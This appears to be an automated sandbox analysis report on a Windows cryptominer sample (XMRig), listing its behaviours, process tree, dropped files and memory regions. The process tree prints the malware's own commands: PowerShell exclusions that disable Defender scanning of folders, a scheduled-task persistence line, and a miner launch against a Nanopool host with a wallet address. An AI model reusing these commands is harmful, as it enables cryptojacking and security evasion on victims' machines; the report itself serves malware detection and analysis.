Analysis

  • max time kernel
    151s
  • max time network
    168s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/12/2022, 15:08

General

  • Target
    file.exe
  • Size 1.4MB
  • Sample221202-shxpnadc2v
  • SHA256 17d3460ff664ddadc846b23ea64893cbc98b942ec77f877831e2af1552e8cffa
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1336
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAC62.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4156
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3804
      • C:\ProgramData\netcore\PWOJ.exe
        "C:\ProgramData\netcore\PWOJ.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4024
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2300
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3084
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4504

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        PWOJ.exe

        • Path C:\ProgramData\netcore\PWOJ.exe
        • Size 1.4MB
        • SHA256 17d3460ff664ddadc846b23ea64893cbc98b942ec77f877831e2af1552e8cffa
        • MD5 SHA1 SHA512 SSDEEP

        PWOJ.exe

        • Path C:\ProgramData\netcore\PWOJ.exe
        • Size 1.4MB
        • SHA256 17d3460ff664ddadc846b23ea64893cbc98b942ec77f877831e2af1552e8cffa
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 d8bd9a4a363ff2ac2dc887759ec6ba4215a4ce0925a8fb9c531573458ee4a31c
        • MD5 SHA1 SHA512

        tmpAC62.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmpAC62.tmp.bat
        • Size 140B
        • SHA256 867cb4fe87077cb430022c372f9f33fc2fa57cc325b9c86feac03e6fcc6a47c6
        • MD5 SHA1 SHA512

        memory/100-182-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/1336-154-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/1336-151-0x000001B12F1F0000-0x000001B12F212000-memory.dmp

        memory/1336-159-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/3376-193-0x0000014974AC0000-0x0000014974AE0000-memory.dmp

        memory/3376-198-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3376-197-0x00000149763B0000-0x00000149763F0000-memory.dmp

        memory/3376-191-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3376-201-0x00000149763F0000-0x0000014976410000-memory.dmp

        memory/3376-200-0x0000014A08BA0000-0x0000014A08BC0000-memory.dmp

        memory/3376-195-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3376-192-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3376-199-0x00000149763F0000-0x0000014976410000-memory.dmp

        memory/3376-202-0x0000014A08BA0000-0x0000014A08BC0000-memory.dmp

        memory/3376-189-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/4024-183-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/4504-158-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/4504-155-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/4780-133-0x00007FF8B4DC0000-0x00007FF8B4E6A000-memory.dmp

        memory/4780-150-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/4780-149-0x0000000001660000-0x00000000016A3000-memory.dmp

        memory/4780-148-0x0000000000C00000-0x0000000000DD2000-memory.dmp

        memory/4780-144-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/4780-143-0x00007FF8B4C70000-0x00007FF8B4DBE000-memory.dmp

        memory/4780-142-0x0000000000C00000-0x0000000000DD2000-memory.dmp

        memory/4780-141-0x00007FF8D0C20000-0x00007FF8D0C4B000-memory.dmp

        memory/4780-140-0x0000000001660000-0x00000000016A3000-memory.dmp

        memory/4780-138-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/4780-139-0x0000000000C00000-0x0000000000DD2000-memory.dmp

        memory/4780-137-0x00007FF8D0CE0000-0x00007FF8D0E81000-memory.dmp

        memory/4780-136-0x00007FF8BCCA0000-0x00007FF8BCD5D000-memory.dmp

        memory/4780-135-0x00007FF8CD710000-0x00007FF8CD722000-memory.dmp

        memory/4780-134-0x00007FF8D0E90000-0x00007FF8D0F2E000-memory.dmp

        memory/5052-168-0x00007FF8B4DB0000-0x00007FF8B4E6D000-memory.dmp

        memory/5052-184-0x00007FF8D00F0000-0x00007FF8D0117000-memory.dmp

        memory/5052-185-0x00007FF8C34A0000-0x00007FF8C34D5000-memory.dmp

        memory/5052-186-0x00007FF8AFB30000-0x00007FF8AFC32000-memory.dmp

        memory/5052-187-0x00007FF8D0F50000-0x00007FF8D0FBB000-memory.dmp

        memory/5052-188-0x00007FF8CEBC0000-0x00007FF8CEBFB000-memory.dmp

        memory/5052-175-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/5052-174-0x00000000033A0000-0x00000000033E3000-memory.dmp

        memory/5052-173-0x00007FF8B4C60000-0x00007FF8B4DAE000-memory.dmp

        memory/5052-172-0x0000000000460000-0x0000000000632000-memory.dmp

        memory/5052-171-0x00007FF8D0C20000-0x00007FF8D0C4B000-memory.dmp

        memory/5052-194-0x0000000000460000-0x0000000000632000-memory.dmp

        memory/5052-170-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/5052-196-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp

        memory/5052-169-0x00007FF8D0CE0000-0x00007FF8D0E81000-memory.dmp

        memory/5052-167-0x00007FF8CD710000-0x00007FF8CD722000-memory.dmp

        memory/5052-166-0x00007FF8D0E90000-0x00007FF8D0F2E000-memory.dmp

        memory/5052-165-0x00007FF8BCCB0000-0x00007FF8BCD5A000-memory.dmp

        memory/5052-163-0x0000000000460000-0x0000000000632000-memory.dmp